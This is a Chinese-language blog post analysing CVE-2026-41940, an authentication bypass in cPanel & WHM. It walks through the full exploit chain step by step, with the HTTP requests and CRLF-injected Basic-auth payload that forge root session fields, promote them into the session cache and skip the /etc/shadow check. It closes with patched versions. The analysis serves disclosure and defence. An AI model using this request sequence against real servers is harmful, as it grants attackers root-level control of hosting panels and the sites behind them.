CVE-2026-41940 cPanel/WHM 认证绕过漏洞分析

Nevolar Lv2

来源:https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/

漏洞概述

  • CVE 编号:CVE-2026-41940
  • 影响范围:所有当前支持的 cPanel & WHM 版本(影响超过 7000 万域名)
  • 漏洞类型:认证绕过(Authentication Bypass)
  • 在野利用:已知(多家主机商确认已在野使用作为零日)

背景

cPanel & WHM 是全球最常用的主机管理面板:

  • WHM:管理员面板,root 级别权限,可管理 SSL、SSL 证书、安全协议等
  • cPanel:面向用户的控制面板,管理单个托管账户

WHM 是”王国的钥匙”,cPanel 是”每个公寓的钥匙”。如果王国是互联网,公寓是网站——那就意味着控制了这一切。


第一部分:cPanel Session 机制

登录流程中的 Session 创建

当用户尝试登录 WHM 时,无论密码是否正确,服务器都会:

  1. 创建一个预认证 Session,写入磁盘
  2. 返回一个 Set-Cookie:
1
Set-Cookie: whostmgrsession=%3aWg_mjzgt1hyfXefK%2c1bd3d4bf5ecbf83b660789ab0f3198fa

URL 解码后为::Wg_mjzgt1hyfXefK,1bd3d4bf5ecbf83b660789ab0f3198fa

Cookie 由两部分组成,用逗号分隔:

1
<session_name>,<ob>
  • <session_name>:实际 session 文件名(如 :Wg_mjzgt1hyfXefK)
  • :32 位十六进制字符串,每会话一个的秘密密钥

Session 文件结构

Session 文件存储在 /var/cpanel/sessions/raw/,格式为明文 key=value,每行用\r\n 分隔:

1
2
3
4
5
6
7
8
9
local_ip_address=172.17.0.2
external_validation_token=bOOwkwVzFsruooU0
cp_security_token=/cpsess7833455106
needs_auth=1
origin_as_string=address=172.17.0.1,app=whostmgrd,method=badpass
hulk_registered=0
tfa_verified=0
ip_address=172.17.0.1
login_theme=cpanel

预认证 session 包含:

  • cp_security_token:预发的访问令牌
  • source IP:用于 IP 锁定
  • tfa_verified:2FA 验证标志
  • 其他状态信息

用户最终成功登录后,同一个 session 文件会被”升级”,添加 user=… 和 pass=… 字段。


第二部分:漏洞根因 — saveSession 的两个 Bug

Bug 1:密码写盘时不过滤 CRLF

在未打补丁的版本中,saveSession 函数对密码的处理如下:

1
2
3
4
5
my $ob = get_ob_part(\$session);   # 从 cookie 提取 <ob> 部分
my $encoder = $ob && Cpanel::Session::Encoder->new('secret' => $ob);
if ($encoder && length $session_ref->{'pass'}) {
local $session_ref->{'pass'} = $encoder->encode_data($session_ref->{'pass'});
}

问题所在:只有当 $ob 存在时才会对密码进行编码。

如果攻击者故意让 cookie 中没有逗号后的 部分(只发 :Wg_mjzgt1hyfXefK),则:

  • $ob 为空
  • $encoder 为空(falsy)
  • 密码直接以明文形式写入 session 文件,没有任何编码

Bug 2:set_pass 不过滤 \r\n

处理 Basic 认证时,密码经过 set_pass 处理:

1
2
3
4
5
my ($user, $pass) = split(/:/, decode_base64($encoded), 2);
$user = $server_obj->auth->set_user($user); # 只过滤 \0 和 /
$pass = $server_obj->auth->set_pass($pass); # 只过滤 \0,没过滤 \r\n!
$SESSION_ref->{'pass'} = $pass;
Cpanel::Session::saveSession($session, $SESSION_ref);

set_pass 只过滤了\0,没有过滤 \r\n。

漏洞的化学反应

cPanel session 文件格式是 key=value\r\n。当密码值中包含 \r\n 时:

正常 session 文件内容:

1
2
3
pass=正确密码
user=root
tfa_verified=0

注入 CRLF 后:

1
2
3
4
5
6
pass=x
hasroot=1
user=root
tfa_verified=1
cp_security_token=/cpsess9999999999
successful_internal_auth_with_timestamp=1777462149

解析器将把后续内容视为 6 行独立的 key=value 记录!hasroot=1、user=root、tfa_verified=1 全都成为 session 文件的顶层字段。


第三部分:完整攻击流程

Step 1:Mint 预认证 Session

发送一个错误的登录尝试,服务器创建 session 文件:

1
2
3
4
POST /login/?login_only=1 HTTP/1.1
Host: target:2087

user=root&pass=wrong

响应:

1
Set-Cookie: whostmgrsession=%3aWg_mjzgt1hyfXefK%2c4d257abc...

将 cookie 中的逗号和后面的 部分删掉,只发送::Wg_mjzgt1hyfXefK(URL 编码为 %3aWg_mjzgt1hyfXefK)。

这样 get_ob_part 拿到的 $ob 为空,密码不会被编码。

然后在密码中构造 CRLF 注入 payload:

1
2
3
4
5
6
root:x
hasroot=1
tfa_verified=1
user=root
cp_security_token=/cpsess9999999999
successful_internal_auth_with_timestamp=1777462149

Base64 编码后发送:

1
2
3
4
GET / HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=%3aWg_mjzgt1hyfXefK
Authorization: Basic cm9vdDp4DQpoYXNyb290PTENCnRmYV92ZXJpZmllZD0x...

Step 3:Session 文件被污染

磁盘上的 session 文件变成:

1
2
3
4
5
6
7
8
9
10
tfa_verified=0$
ip_address=172.17.0.1$
user=root$
pass=x <-- \r\n 后注入内容开始
hasroot=1 <-- 注入的
tfa_verified=1 <-- 注入的
user=root <-- 注入的
cp_security_token=/cpsess9999999999 <-- 注入的
successful_internal_auth_with_timestamp=1777462149 <-- 注入的
...

六个新行作为独立记录写入 session 文件!

Step 4:服务器返回 307 重定向

1
2
HTTP/1.1 307 Moved
Location: /cpsess0228251236/

服务器认为认证成功。

Step 5:访问版本信息验证是否成功绕过

1
2
3
4
GET /cpsess0228251236/json-api/version HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=%3aQSJN_sFdKZtCi2o_
Connection: close

返回

1
2
3
4
5
HTTP/1.1 403 Forbidden Access denied
Connection: close
Content-Type: text/plain; charset="utf-8"

{"cpanelresult":{"apiversion":"2","error":"Access denied","data":{"reason":"Access denied","result":"0"},"type":"text"}}

绕过失败了,为什么失败,因为解析器 LoadSession不是读取原始的 key=value 文件,而是读取 cache 目录下的 JSON 序列化文件:

1
2
/var/cpanel/sessions/raw/:Wg_mjzgt1hyfXefK   <-- 原始行式文件
/var/cpanel/sessions/cache/:Wg_mjzgt1hyfXefK <-- JSON 序列化缓存

loadSession 优先读取 cache(JSON 文件),只有 cache 加载失败时才回退到读取原始文件。JSON 文件没有被 CRLF 污染,所以注入的内容没生效。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
sub loadSession {
my ($session) = @_;
...
my $session_file = get_session_file_path($session); # /var/cpanel/sessions/raw/<id>
my $session_cache = $Cpanel::Config::Session::SESSION_DIR . '/cache/' . $session;
my $session_ref;

# First try the binary cache. AdminBin::Serializer is JSON.
if ( $session_cache_fh = _open_if_exists_or_warn($session_cache) ) {
eval {
local $SIG{__DIE__};
$session_ref = Cpanel::AdminBin::Serializer::LoadFile($session_cache_fh);
$mtime = ( stat($session_cache_fh) )[9];
};
}

# Only fall through to the slow text parse if the cache load failed or returned nothing.
if ( !keys %$session_ref ) {
if ( $session_fh = _open_if_exists_or_warn($session_file) ) {
require Cpanel::Config::LoadConfig;
$session_ref = Cpanel::Config::LoadConfig::parse_from_filehandle(
$session_fh, delimiter => '='
);
}
}
...
}

所以在缓存里,加载器实际看到的是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"tfa_verified":"0",
"ip_address":"172.17.0.1",
"user":"root",
"login_theme":"cpanel",
"port":"43586",
"origin_as_string":"address=172.17.0.1,app=whostmgrd,method=badpass",
"pass":"x\r\nhasroot=1\r\ntfa_verified=1\r\nuser=root\r\ncp_security_token=/cpsess9999999999\r\nsuccessful_internal_auth_with_timestamp=1777462149",
"hulk_registered":"0",
"local_port":"2087",
"cp_security_token":"/cpsess0228251236",
"external_validation_token":"ss27XQjbY11gmCDs",
"local_ip_address":"172.17.0.2"
}

加载到变量里面之后是这样:

1
2
3
4
5
6
7
$SESSION_ref = {
user => 'root',
pass => "x\r\nhasroot=1\r\ntfa_verified=1\r\n...",
cp_security_token => '/cpsess0228251236',
tfa_verified => '0',
# ...no hasroot, no successful_internal_auth_with_timestamp
}

第四部分:Cache 机制与绕过

在 Step 5 的时候,我们看见有一个函数 parse_from_filehandle,算是一种在 cache 读取不到的时候的备用模式

1
2
3
4
5
6
7
8
if ( !keys %$session_ref ) {
if ( $session_fh = _open_if_exists_or_warn($session_file) ) {
require Cpanel::Config::LoadConfig;
$session_ref = Cpanel::Config::LoadConfig::parse_from_filehandle(
$session_fh, delimiter => '='
);
}
}

查找这个函数,发现有两处调用过这个函数:

1
2
3
4
5
6
grep -rn 'LoadConfig::loadConfig\|parse_from_filehandle'  /usr/local/cpanel/Cpanel/Session*

/usr/local/cpanel/Cpanel/Session/Load.pm:69: parse_from_filehandle(...) # the loader, fallback path
/usr/local/cpanel/Cpanel/Session/Modify.pm:97: LoadConfig::loadConfig($session_file, ...,
{ 'nocache' => 1, ... });

跟进Modify.pm文件,发现有两个函数值得关注

这是一个绕过 cache,直接读 raw 的构造函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
sub new {
my ( $class, $session, $check_expiration ) = @_;

if ( $check_expiration ? !Cpanel::Session::Load::session_exists_and_is_current($session) : !Cpanel::Session::Load::session_exists($session) ) {
die "The session ^`^|$session ^`^} does not exist";
}

Cpanel::Session::Load::get_ob_part( \$session ); # strip ob_part

my $session_file = Cpanel::Session::Load::get_session_file_path($session);

# Cpanel::Transaction not available here due to memory constraints
my ( $ref, $fh, $conflock ) = Cpanel::Config::LoadConfig::loadConfig( // (1)
$session_file,
undef,
'=',
undef,
0,
0,
{ 'skip_readable_check' => 1, 'nocache' => 1, 'keep_locked_open' => 1, 'rw' => 1 } // (2)
);

return bless {
'_session' => $session,
'_fh' => $fh,
'_lock' => $conflock,
'_data' => Cpanel::Session::decode_origin($ref),
}, $class;
}

现在如果我们能触发任何预授权可达的代码路径,调用 Modify::new 并调用 Modify::save 在我们的会话中,注入就会作为顶层密钥提升到 JSON 缓存中。

在寻找 new friend 的时候,发现了一个函数,这个函数在 (1) 处调用了 Modify::new,在 (2) 处调用了 Modify::save,正是我们需要的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
sub do_token_denied {
my ($error_msg, $form_ref, $goto_uri, $use_theme) = @_;
...
my $max_tries = 3;
if ($user_provided_session_ref = $server_obj->get_current_session_ref_if_exists) {
my $session = $server_obj->get_current_session;
if (not $server_obj->request->get_supplied_security_token
or ++$user_provided_session_ref->{'token_denied'} < $max_tries)
{
require Cpanel::Session::Modify;
my $session_mod = 'Cpanel::Session::Modify'->new($session); # (1)
$session_mod->set('token_denied',
defined $session_mod->get('token_denied')
? $session_mod->get('token_denied') + 1
: 1
);
$session_mod->save; # (2)
$another_try = 1;
}
}
...
}

解释一下,每当某些 URL 被请求时,会调用 check_security_token do_token_denied

实现方式如下——在(1)时检查提供的安全令牌,如果失败,在(2)时调用 do_token_denied:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
sub check_security_token {
...
if (not $server_obj->request->get_supplied_security_token) {
$failmsg = 'security token missing';
}
elsif ($ENV{'cp_security_token'} ne $server_obj->request->get_supplied_security_token) { // (1)
$failmsg = 'security token incorrect';
}
if ($failmsg) {
if ($is_login_url) {
$server_obj->badpass(...);
}
else {
failedlogin($failmsg, 1);
$server_obj->connection->set_is_last_request(1);
do_token_denied($failmsg); # (2)
}
...
}

如果你想知道什么是安全令牌——几乎所有发送给 cpsrvd 的 HTTP 请求在 URI 中都会有一个令牌前缀:

1
/cpsess1234567890/scripts2/listaccts

其中的 cpsess1234567890 就是安全令牌,所以当我们发送没有带安全令牌的请求的时候,就会强制触发 do_token_denied 函数

1
2
3
4
GET /scripts2/listaccts HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=%3aQSJN_sFdKZtCi2o_
Connection: close

响应

1
2
3
HTTP/1.1 401 Token Denied
Cache-Control: no-cache, no-store, must-revalidate, private
Content-Type: text/html; charset="utf-8"

再看看缓存文件

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"tfa_verified":"1", <-- was 0, now 1 — injection won
"user":"root",
"hasroot":"1", <-- TOP-LEVEL now
"successful_internal_auth_with_timestamp":"1777462149", <-- TOP-LEVEL now
"cp_security_token":"/cpsess0228251236",
"external_validation_token":"ss27XQjbY11gmCDs",
"token_denied":"1",
"pass":"x", <-- stripped to just "x"
"ip_address":"172.17.0.1",
"local_ip_address":"172.17.0.2",
...
}

现在我们的 cache 已经绕过成功了,我们要成功绕过身份认证了吗?并没有

1
2
3
HTTP/1.1 403 Forbidden Access denied

{"cpanelresult":{"apiversion":"2","error":"Access denied","data":{"reason":"Access denied","result":"0"}}}

第五部分:/etc/shadow 绕过

让我们看看 handle_one_connection,它紧接在 handle_auth 之后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
handle_form_login();

handle_auth();

my $authtype = $server_obj->auth->get_auth_type || '';
my $document = $server_obj->request->get_document;
$user = $server_obj->auth->get_user;
my $pass = $server_obj->auth->get_pass;

if ($Cpanel::App::appname eq 'whostmgrd') {

docheckpass_whostmgrd(
'user' => $user,
'pass' => $pass,

);

}

docheckpass_whostmgrd函数的意思是每次请求都要验证密码,密码存放在 /etc/shadow 中

默认情况下,它会在 /etc/shadow 上运行 Cpanel::CheckPass::UNIX::checkpassword($pass, $shadow_entry) against /etc/shadow 逻辑上我们伪造pass会与 root 的真实密码匹配不符,我们会被退回。

不过……我们观察下面的函数,这些函数表示如果设置了任一时间戳,密码验证会被跳过,密码验证 AUTH_OK 无条件返回(参见,这也是我们最初演示发送包含 successful_internal_auth_with_timestamp 的有效载荷的原因)。

1
2
3
4
5
6
7
8
sub docheckpass_whostmgrd {
my (%OPTS) = @_;

if ($successful_external_auth_with_timestamp or $successful_internal_auth_with_timestamp) {
$authorized = _check_external_internal_auth_from_docheckpass(%OPTS);
}

}
1
2
3
4
5
6
7
8
elsif (not $SESSION_ref->{'needs_auth'}) {                    # session-auth branch

if ($SESSION_ref->{'successful_internal_auth_with_timestamp'}) {
$successful_internal_auth_with_timestamp =
$SESSION_ref->{'successful_internal_auth_with_timestamp'};
}

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
sub check_authok_user {
my (%AUTHOPTS) = @_;

if ($AUTHOPTS{'authable_user'}{'successful_external_auth_with_timestamp'}
or $AUTHOPTS{'authable_user'}{'successful_internal_auth_with_timestamp'})
{
return $Cpanel::Server::AUTH_OK, 0; # <-- /etc/shadow never consulted
}
elsif (Cpanel::CheckPass::UNIX::checkpassword(
$AUTHOPTS{'password'},
$AUTHOPTS{'authable_user'}{'encrypted_pass'}))
{

}
}

然后就成功绕过了 /etc/shadow 的密码验证,访问 /json-api/version 会返回具体版本号


第六部分:漏洞总结

项目 内容
漏洞类型 认证绕过(Authentication Bypass)
影响组件 cPanel cpsrvd Session 处理
影响版本 所有当前支持的 cPanel & WHM 版本
根因 1. Basic 认证密码不过滤\r\n
2. 无 时密码不编码直接写盘
3. session 文件格式支持 CRLF 注入
攻击向量 通过 Basic 认证头注入 CRLF,伪造 session 文件字段
影响 未授权访问 WHM 管理面板

受影响版本与修复

版本 修复版本
11.110.0.x 11.110.0.97
11.118.0.x 11.118.0.63
11.126.0.x 11.126.0.54
11.132.0.x 11.132.0.29
11.134.0.x 11.134.0.20
11.136.0.x 11.136.0.5

建议:立即升级到上述修复版本或更高版本。

  • 标题: CVE-2026-41940 cPanel/WHM 认证绕过漏洞分析
  • 作者: Nevolar
  • 创建于 : 2026-05-06 03:24:34
  • 更新于 : 2026-05-06 03:24:35
  • 链接: https://blog.eval.moe/2026/05/fb2e7128ef33.html
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论